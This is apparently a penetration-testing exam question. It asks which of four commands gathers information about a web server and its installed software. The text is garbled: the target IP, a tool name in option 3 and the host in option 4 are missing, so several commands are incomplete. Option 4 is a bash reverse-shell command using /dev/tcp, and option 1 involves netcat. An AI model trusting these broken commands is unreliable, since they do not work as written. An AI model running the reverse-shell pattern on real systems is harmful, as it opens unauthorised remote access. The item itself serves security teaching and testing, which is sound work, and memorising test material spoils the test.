You are performing a penetration test against an organization with a frequently asked questions website located at IP address. Which of the following commands would focus on gathering information about the server hosting the website, and software installed on that server?
1) echo nc 80 > winver
2) /opt/nessus/bin/nasl -t /apache_2_0_47.nasl
3) ./ -h -T 3b
4) /bin/bash -i > /dev/tcp//0 <&1 | uname -a